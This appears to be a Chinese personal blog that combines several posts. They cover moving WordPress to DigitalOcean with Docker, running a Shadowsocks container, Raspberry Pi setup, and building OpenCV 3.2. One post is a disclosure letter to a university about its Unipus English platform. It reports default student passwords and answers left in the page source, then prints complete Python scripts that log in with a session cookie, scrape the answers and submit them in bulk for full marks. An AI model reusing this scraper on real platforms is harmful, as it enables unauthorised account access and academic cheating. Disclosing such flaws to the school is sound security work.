迁移原因

WordPress配置在腾讯云的centOS 6.8, 环境为镜像市场一键配置的。当初选择腾讯云的产品,是因为有学生优惠活动,2核/2G/1M带宽/20G硬盘+1年cn域名的使用权(12元每月)。但发现仅仅是做博客网站并不需要这样的配置,且cn域名也并非有我所想的域名。

一次偶然机会,在知乎上看到介绍国外的一些vps服务器,其中digital ocean(下简称DO)家的服务器最低每月5$ ,折合人民币35元左右,且通过github student packages能获得50 + 他人推荐码10,共60,共60的优惠,相当于第一年完全免费,加上一个国外的独立ip,意味着以前每个月的购买vpn的钱也可以省下来。长远看,还是相当划算。

因为WordPress的迁移,希望能更有自己的特色,就在阿里云购买的 liuchang.men 的新域名(10年/60元左右)。该域名和DO的服务器都不需要备案,这一点也很重要。(你永远也不知道在腾讯云cn域名备案,用了2个月才完全批下来的痛苦)

基于docker的wordpress迁移

DO下5$每月配置为:1G单核/512M内存/20G硬盘,整体配置在内存上略有缩水,但确实够用。带宽并未在官网列出,经过测试,大概有4M(500k/s)的上下行速度(美国纽约),这一点也为搭建shadowsocks提供了一个硬件基础。

以前服务器初次搭建WordPress时,本是Ubuntu下从零搭建,但发现极其繁琐,后通过镜像商场直接选择已有的镜像,但系统为centOS,自己不太熟悉。此次,在网上充分查阅后,发现基于docker的安装相当简单。

镜像选择

镜像选择Docker on 16.04 ,下列镜像本来有WordPress,但需要40G硬盘,不符合我们5$每月的需求

安装 WordPress Docker 镜像

1
sudo docker pull eugeneware/docker-wordpress-nginx

启动 WordPress 容器

1
2
3
4
# 创建容器
sudo docker run -p 80:80 --name docker-wordpress-nginx -d eugeneware/docker-wordpress-nginx
# 启动容器
docker start docker-wordpress-nginx

容器开机自启动

1
2
docker run --restart=always  xxxx       # 创建时参数
docker update --restart=always xxxx # 若创建时未指定,可后期update

访问网站 http:// + ip ,配置 WordPress

用wordpress自带的导入导出功能进行迁移

注意:关于WordPress后台地址被改导致无法登陆后台的简单解决方法

打开网站根目录下的wp-config.php文件,输入这一行代码

1
define('RELOCATE',true);

RELOCATE 的值为 true 时,就会在你登录后台的时候把 Wordpress(去后台地址)URL改为你当前输入的,这样就可以不用修改数据来重置地址。记得解决后修改。

基于docker的shadowsocks 配置

docker下用虚拟的方式配置一些环境确实方便,下面配置shadowsocks服务端也将基于docker

安装shadowsocks

1
sudo docker pull oddrationale/docker-shadowsocks

配置shadowsocks

1
sudo docker run -d -p 8888:8888 oddrationale/docker-shadowsocks -s 0.0.0.0 -p 8888 -k yourpassword -m aes-256-cfb

其中,-d为后台运行 , -p为端口映射 , -s为ip,0.0.0.0为采用默认本机ip, -k 为密码

shadowsocks客户端

附上github上shadowsocks的客户端链接:


2017-11-17更新:

原服务器因为未知原因,下行带宽被限制到0.1M,暂迁移到旧金山的DO,可以借助快照迁移完成。

附一张网速测试图:

——致北京工商大学外国语学院的一封信

北京工商大学向来致力为各位学生提供一个优质,公平的教育环境,为培养学生成为各方面并同发展的未来国家栋梁人才而全力以赴。在英语学习方面,学校尤为重视,特设定英语四级考试通过为毕业条件;同时为四、六级成绩优异考生提供奖金支持。因此,在平时课堂练习时,学校采用了《新标准大学英语》系列教材,该教材配套的《视听说教程》为一个优秀的在线教育平台,为同学们提供了口语练习,写作练习,填空,选择题等多种多样的强化学习方式。

​ 但人无完人,再好的平台也有其欠缺的一面。近日,我在使用《视听说3》时,运用对网页源码解析的方式,发现以下问题:

  1. 登录密码全部采用默认密码nhce111

该情况是多年的一个问题,我承认,设置默认密码,便于教室端对学生学习进度以及学习成绩进行掌握。该问题为同学间互相查看答案提供了一个途径,也为我接下来发现的一个更为严重的问题提供了便捷。

  1. 在网页源码中保存有答案信息

Unipus平台中各章节均有固定的网址格式(以视听说3为例):

http://192.168.115.248:81/book/book183/U2_S2_2.php

其访问结构为:

服务器IP:81端口/book/book/book183(书本信息)/U(章号)S(节号)(小节号).php

通过对所有本书任务进度表格(图1)的解析

不难推测出所有作业所对应的php网址,如下图所示代码。

通过运用chrome浏览器的开发者工具箱,我通过对源码的分析,发现在php脚本script标签的下,存在#answer函数下。其中保存有用户所填的答案,以及该题的正确答案,见下图:

上图即是该题的正确答案(#^符号分割)。即认为:视听说3教程的答案对用户是公开的,任何人要可以对源码进行解析,都可以挖掘出正确答案。这一点,无异于考试时,直接把答案印在某些人的试卷上,破坏公平竞争。

可能老师认为这一点并无关大碍,认为只有极少数人员会采用这种方式,但如果该情况被其他一些有心人发现,并针对该漏洞进行开发,会实现下列功能。

因为大家基本都采用默认密码形式,因此只需要掌握全体同学学号,既可以模拟登录。并通过get协议保存服务器所保存的cookies值,访问各章节的url,保存答案。最后通过伪造登录信息,构建data form,批量用post协议提交答案。

通过以上的方式,简单来说,就可以轻松达到:只需要账号(学号),就可以刷章节满分答案!而且单账号处理时间< 3s,效果如图:

而且更可能的情况是,通过对提交的答案的控制,亦可以控制分数使其为代码执行者所想的分数。

希望学校能稍稍重视该问题,也是我的一点荣幸。

2017-9-14


备注:以下代码均由本人进行开发,并未对外进行公布和流传,仅仅做实验性质。如果需要,可立即对代码源文件进行删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
# main.py
from ans_deal import work
import requests
map= [
[0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0],

[1, 1, 1, 1, 0, 1, 1],
[1, 1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 0, 1, 1],
[1, 1, 1, 0, 1, 0, 1],
[0, 0, 0, 0, 0, 0, 0],

[1, 1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 0],

[0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0],

[0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0],
]
cookies = input()
post_headers = {
'Host': '192.168.115.248:81',
'Connection': 'keep-alive',
'Pragma': 'no-cache',
'Cache-Control': 'no-cache',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
# 'Referer': 'http://192.168.115.248:81/book/book183/U1_S2_5.php',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh,zh-CN;q=0.8',
'Cookie': 'NCCE=' + cookies
}
need = 2
SectionID = 0
SisterID = 0
ItemID = 0
for col in range(0, need):
for row in range(0,23):
UnitID = col + 1
if row <= 4:
SectionID = 1
SisterID = row + 1
elif row <= 9:
SectionID = 2
SisterID = row - 4
elif row <= 15:
SectionID = 3
SisterID = row - 9
elif row <= 17:
SectionID = 4
SisterID = row - 15
elif row <= 22:
SectionID = 4
SisterID = row - 17
if map[row][col] == 1:
url = 'http://192.168.115.248:81/book/book183/U'+str(UnitID)+'_S'+str(SectionID)+'_'+str(SisterID)+'.php'
TestID = str(SectionID) + '.' + str(SisterID)
KidID = '1'
ItemID = col *23 + row + 1
print(url)
ans = work(url, cookies)
form = {
'UnitID': str(UnitID),
'SectionID': str(SectionID),
'SisterID': str(SisterID),
'TestID': TestID,
'KidID': KidID,
'ItemID': str(ItemID),
'Item_0':''
}
for x,t in enumerate(ans):
form['Item_' + str(x)] = t
print(form)
requests.post(url=url, headers = post_headers, data= form)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#ans_deal.py
#coding=utf-8
import requests
from bs4 import BeautifulSoup
def deal_answer(list):
#list格式 A^B^C^D^
ans =[]
word = ''
for i,t in enumerate(list):
if t != '^':
word += t
else:
if word[-1]=='#':
word = word[:-1]
if word.find('|') != -1:
word = word[:word.find('|')]
ans.append(word)
word = ''
return ans

def work(url, cookies):
#url = 'http://192.168.115.248:81/book/book183/U1_S3_5.php'
# 选择题'http://192.168.115.248:81/book/book183/U1_S3_3.php'
# 填空题'http://192.168.115.248:81/book/book183/U1_S3_4.php'
# 排序题'http://192.168.115.248:81/book/book183/U1_S3_5.php'
# 表格勾选题 'http://192.168.115.248:81/book/book183/U2_S3_5.php'

#cookies = 'ac51297530abeb41668a2fe69aec80a8'

get_headers = {
'Host': '192.168.115.248:81',
'Connection': 'keep-alive',
'Pragma': 'no-cache',
'Cache-Control': 'no-cache',
'Origin': 'http://192.168.115.248:81',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
# 'Referer': 'http://192.168.115.248:81/book/book183/U1_S2_5.php',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh,zh-CN;q=0.8',
'Cookie': 'NCCE=' + cookies
}

wb_data = requests.get(url, headers=get_headers)

wb_data.encoding = 'utf-8'
# print(wb_data.apparent_encoding)
soup = BeautifulSoup(wb_data.text, 'lxml')

answers = soup.find_all('script')[-1].get_text()
# print(answers)
answer = ''
# 选择题
# judgeRadio('.question','','C^B^A^C^D^A')
num = 0
if answers.find("judgeRadio") != -1:
for x, t in enumerate(answers[answers.find("judgeRadio"): len(answers) + 1]):
if t == ';':
break
if t == '\'':
num += 1
if num == 5 and t != '\'':
answer += t
if num == 6:
answer += '^'
break
if answers != '':
ans = deal_answer(answer)
print(ans)
# 排序题
# judgeDragQuestion('.content-right .content-div','','D^B^E^A^C','^',{top:0,left:-487})

if answers.find("judgeDragQuestion") != -1:
for x, t in enumerate(answers[answers.find("judgeDragQuestion"): len(answers) + 1]):
if t == ';':
break
if t == '\'':
num += 1
if num == 5 and t != '\'':
answer += t
if num == 6:
answer += '^'
break
if answers != '':
ans = deal_answer(answer)
tem = ''
for x, t in enumerate(ans):
if x != len(ans) - 1:
tem += t + ','
else:
tem += t
ans = []
ans.append(tem)
print(ans)
# 表格勾选题
# judgeTableQuestion('table input[type=checkbox]','','0^3^4^7^9^11^12','^')

if answers.find("judgeTableQuestion") != -1:
for x, t in enumerate(answers[answers.find("judgeTableQuestion"): len(answers) + 1]):
if t == ';':
break
if t == '\'':
num += 1
if num == 5 and t != '\'':
answer += t
if num == 6:
answer += '^'
break
if answers != '':
ans = deal_answer(answer)
tem = ''
for x, t in enumerate(ans):
if x != len(ans) - 1:
tem += t + ','
else:
tem += t
ans = []
ans.append(tem)
print(ans)

# 填空题
# judgeCompletion('.content-inner input[name^=Item_]','','looking forward#^apart from#^on#^used to get very cross#^angel#^pretty sad#^some cash','#^')
if answers.find("judgeCompletion") != -1:
for x, t in enumerate(answers[answers.find("judgeCompletion"): len(answers) + 1]):
if t == ';':
break
if t == '\'':
num += 1
if num == 5 and t != '\'':
answer += t
if num == 6:
answer += '^'
break
if answers != '':
ans = deal_answer(answer)
print(ans)
return ans

学校的回复

暑假里,留校了基本50天,在机器人比赛上,参加了南京的旅游机器人比赛和山东的全国机器人比赛。但实在有些后悔,并没有拿到特别好的成绩。反思起来,一部分是因为自己没有用心参与团队的比赛,另一方面,我们可能过多依赖于别人的技术。

这段时间,思前想后,发现:我们虽然用学校经费大价钱购置了几台往年的车型,但底层的核心代码全部掌握在别人手中。这一点导致我们接手后能做的工作只是在大框架下进行代码调试,使其适应比赛规则及场地的要求,但无法做出创新的更改。最终,还是决定做一个一台自组装的智能小车,并希望用小车来参加明年的比赛。

小车采用树莓派3做总控,并通过各种扩展模块对电机,传感器进行控制。具体的方案我会写在将来的文章中,在此,仅写下环境配置方案,以备份用于不时之需。

硬件选择与介绍

作为一个机器人项目,用作中控的芯片选择很多:

  • 基于AVR的arduino系
  • stm32系
  • arm系
  • fpga系
  • ……

其中fpga开发难度极大,且价格较贵,一般用作飞控,这里不做考虑;而在我所想的方案中,希望能够做到较容易的开发且需要一定量的计算能力,arduino和stm32一般产品的时钟频率都比较偏低,难以应对图像处理,且stm32需要从底层开发,难度较大;而在arm系中树莓派成为一个极佳的选择。

树莓派至今(2017年98月),已出3代产品,每代产品又分为A、B两型。A型一般用于企业,公司定制,无各种外接接口,需要额外焊接;B型为对外出售型号,有各式各样的IO接口,包括USB,HDMI,3.5mm音频接口,lan接口,以及专用的摄像头输入和视频输出接口。

而最主要的,是其包含40pin的gpio,这一点足够用于机器人开发。除此外,B型还有后期的B+型号,是对B型的性能的较低提升。就性能而言,不像arduino和stm32孱弱的性能(一般低于50mHz),树莓派是一台完整的计算机,soc为博通研发,现在最新第三代产品raspberrypi3 B,其cpu采用4核1.2G,足够用以图像处理,甚至跑一些简单的神经网络模型。

具体详细的各版本硬件介绍,可以参阅树莓派百度百科

系统安装

raspberrypi官方系统安装

树莓派官方官网:https://www.raspberrypi.org/downloads/

分为NOOBS版本和RASPBIAN版,NOOBS内置了RASPBIAN但多了一个启动界面(相当于BIOS),在安装时可以通过网络选择其他的系统,我们一般若安装官网系统直接下载RASPBIAN版,就好。

  1. 下载后,解压会得到一个img后缀的文件,这就是已打包的系统镜像;
  2. sd插入电脑(可用读卡器),格式化sd卡;
  3. 下载win32diskimager,用于写入镜像;
  4. 选择已解压的镜像文件,并选择sd卡盘符(默认已选),最后点Write 即可完成写入;
  5. sd插入树莓派,接入hdmi线,通电自动开机。

第三方系统安装:ubuntu mate

因为linux一直在用Ubuntu的发行版,所以在本次配置中拟采用ubuntu mate作为系统环境,针对树莓派的ubuntu mate下载地址,和2.1系统安装一样,解压得到img文件,win32diskimager写入,开机。

基础环境配置

vim编译器

vim编译器一直我都比较喜欢,但逻辑不同于一般win平台的编译器(例如notepad++),需要一定的时间练习。在官方系统可能存在vim编译器为common版,在编辑时存在方向键无法使用的问题,通过以下命名即可更换:

1
2
sudo apt-get remove vim-common
sudo apt-get install vim

中文输入法

  • raspbian版中,系统默认英文,且没有中文字库,我们需先安装简体字体
1
sudo apt-get install ttf-wqy-zenhei
  1. 再通过 raspi-config进入参数选择;
  2. 然后选择change_locale
  3. Default locale for the system environment中选择zh-CN UTF-8(空格键选择);
  4. 然后然后按回车,然后默认语言选中zh-cn然后回车;
  5. 重启机器,就发现整个环境变成中文的了。
  • ubuntu mate系统安装时,可以自主选择语言,不存在字体问题。在系统中,我们采用google拼音输入法作为中文输入法,注意这里采用fcitx作为输入法框架,类似框架还用ibus。
1
sudo apt-get install fcitx fcitx-googlepinyin

在raspbian中,我们采用ibus输入法作为中文输入法

1
sudo apt-get install ibus ibus-pinyin

更新源更改

因为墙的原因,国内访问树莓派的更新源都比较慢,甚至出现404情况,因此我建议把源换回国内

  • raspbian系统的国内源比较多,这里我们采用阿里云的源
1
2
3
4
sudo nano /etc/apt/sources.list #编辑源
# 把所有内容替换为以下内容,保存并退出
deb http://mirrors.aliyun.com/raspbian/raspbian/ stretch main non-free contrib
deb-src http://mirrors.aliyun.com/raspbian/raspbian/ stretch main non-free contrib

最后,更新源,会看见明显下载速度的提升

1
2
sudo apt-get update
sudo apt-get upgrade
  • ubuntu mate的源相对较少,国内我现在只找到一家,是中科大的源。具体操作也是
1
2
sudo vim /etc/apt/sources.list #编辑源
# 然后把其中的 http://ports.ubuntu.com/ 换为 http://mirrors.ustc.edu.cn/ubuntu-ports/

最后,同样命令更新源

1
2
sudo apt-get update
sudo apt-get upgrade

pip源更改

pip源也存在连接过慢的问题,pip源更改也比较简单,

对Linu系统:首先进用户主文件,建立个.pip文件夹(注意有个点),再在.pip文件下建立pip.conf文件。

1
2
3
4
cd ~/
sudo mkdir .pip
cd .pip
sudo vim pip.conf

写入以下内容,详情见http://mirrors.aliyun.com/help/pypi

1
2
3
4
5
[global]
index-url = http://mirrors.aliyun.com/pypi/simple/

[install]
trusted-host=mirrors.aliyun.com

远程设置

远程连接一般采用两种方式ssh远程桌面

  • SSH:
    • raspbian版可通过raspi-config设置ssh开启,或在存储卡根目录新建一个ssh空文件
    • ubuntu mate版默认开启ssh
  • 远程桌面:远程桌面有多个选择,vnc,xrdp等,我们建议使用xrdp,可以免于繁琐的配置。但在raspbian版中已经集成了vnc,可以通过raspi-config开启
1
sudo apt-get install xrdp

文件共享

文件共享能实现局域网内windows与树莓派的文件共享。

  1. 首先要保证windows网络发现功能开启,树莓派上采用samba作为共享工具

    1
    2
    sudo apt-get install samba samba-common-bin 	# 安装samba
    sudo vim /etc/samba/smb.conf # 修改配置文件
  2. 在文本末端加入以下内容(以共享主文件下 公共的 文件夹为例

    1
    2
    3
    4
    5
    6
    7
    [共享目录]
    comment = this is Linux share directory
    path = ~/公共的
    public = yes
    writable = yes
    browseable = yes
    available = yes
  3. 再重启samba服务

    1
    sudo /etc/init.d/samba restart
  4. 在Samba配置文件设置过权限后,还需要在系统中将共享文件夹的权限设置为同配置文件中相同的权限,这样才能确保其他用户正常访问及修改文件夹内容

    1
    sudo chmod -r 777 ~/公共的/

应该就能在windows的网络位置发现树莓派设备了。

开发环境配置

openCV3.2 编译安装

关于3.2版的openCV我已经写在我的另一篇文章ubuntu17.04环境下opencv3.2.0配置,基本同样的步骤,只是在make的时候,树莓派的计算能力较弱,且发热量较大,如果没有主动散热,建议

1
sudo make -j2 #两个线程编译

当然,若有额外的散热工具,也可以用:

1
sudo make -j4  #四线程加快编译

tensorflow 安装

tensorflow作为Google开源的计算机深度学习库,可以极大简化深度学习的代码。

github上已经有人针对树莓派做好了移植代码,致敬!链接

注意:现在的所支持tensorflow最高版本为1.2.0,所支持的python版本为2.7和3.4,一般的树莓派系统都是3.5,这一点可以通过docker解决。

具体步骤不再赘述,请移步github查看。

实验环境

  • CPU:Ryzen 1800x
  • 系统:ubuntu 17.04 64bit
  • 软件环境:python2.7 + python3.5 + cuda开发环境(cuda8.0 cuddn 5.1)

因实验要求,需要对图片进行灰度编码,自然而然想到利用openCV库结合python进行,但由于系统较新,且网上教程多为老版本,新教程也有些小错误,特记下配置过程

  • 预配置环境:openCV 3.2.0(cuda加速+python3环境+contrib扩展包)

openCV基础环境配置

  1. 对源的更新
1
2
sudo apt-get uupdate
sudo apt-get update
  1. 环境搭建
1
sudo apt-get install build-essential cmake cmake-qt-gui pkg-config git
  1. 图像格式相关
1
sudo apt-get install libpng-dev libjpeg-dev libtiff5-dev
  1. GUI相关
1
sudo apt-get install libgtk2.0-dev
  1. 视频格式相关
1
sudo apt-get install libavcodec-dev libavformat-dev libswscale-dev libv4l-dev
  1. C++多线程相关
1
sudo apt-get install libtbb2 libtbb-dev
  1. 摄像头相关
1
sudo apt-get install libdc1394-22-dev
  1. openGL相关
1
sudo apt-get install libgtkglext1 libgtkglext1-dev

注意:针对可选安装libjasper-dev包,该包是针对图像格式JPEG-2000的开发包。在最新的ubuntu17.04中,已放弃对该包的安装支持,如涉及到对该格式的处理,可以到https://packages.ubuntu.com/trusty/libjasper-dev ubuntu的官方包管理网址获取,该包需要依赖包libjasper1,请一并下载。但两包无法直接通过ubuntu软件安装器安装,可以通过dpkg命令安装:

1
sudo dpkg -i <package.deb>

openCV下载与本地编译

这次安装版本为3.2.0,需要下载opencv-3.2.0opencv_contrib-3.2.0(后者会在cmake配置的时候用到),这是因为opencv3以后SIFTSURF之类的属性被移到了contrib中。

下载采用wget命令:

1
2
3
# 从github上直接下载或者clone也可
wget https://github.com/opencv/opencv/archive/3.2.0.zip -O opencv-3.2.0.zip
wget https://github.com/opencv/opencv_contrib/archive/3.2.0.zip -O opencv_contrib-3.2.0.zip

分别解压文件:

1
2
unzip opencv-3.2.0.zip
unzip opencv_contrib-3.2.0.zip

获得opencv-3.2.0opencv_contrib-3.2.0两个文件夹,打开opencv3.2.0文件夹

新建build文件夹,作为编译文件路径:

1
2
cd opencv-3.2.0
mkdir build

打开cmake图形界面:

1
sudo cmake-gui
  1. 打开cmake图形界面,源码位置设置为opencv-3.2.0文件夹,binaries(二进制文件)位置设为新建build文件夹位置;
  2. 在search框输入opengl,勾选上(为了避免opengl版本问题导致的不兼容,这里最好选择使用opencv自带的openGL;
  3. 在search框输入opencv_extra_modules_path,在后面value值处填上两个包中另一个opencv_contrib-3.2.0下modules的路径;
  4. 然后点击configure,cmake会自动进行参数检测,并下载一些相关包;

注意:可能遇到ippicv_linux_20151201.tgz文件下载失败的问题,(墙的原因),解决办法为百度搜索下载(例如CSDN下载http://download.csdn.net/download/lx928525166/9479919,并cp命令复制到/opencv-3.2.0/3rdparty/ippicv/downloads/linux-808b791a6eac9ed78d32a7666804320e文件夹下。(最后一个文件夹名可能不一样)

  1. 最后cmake中点击Generate,生成编译文件;
  2. 然后cd命令进build文件夹
1
2
sudo make -j16 # -j后面数字为采用线程数,根据个人配置而定
sudo make install
  1. 进度到100%表示安装成功。

python环境的绑定

我们已经成功安装openCV,且在配置时openCV会自动与python进行绑定,我们可以通过以下方式进行测试:

  1. 重启

    1
    sudo reboot

    sudo reboot

  2. 测试,在python中,若无报错,即可认为绑定成功。

    1
    import cv2

我们也可以通过安装预编译的第三方所提供的openCV

1
pip install opencv-python opencv-contrib-python
0%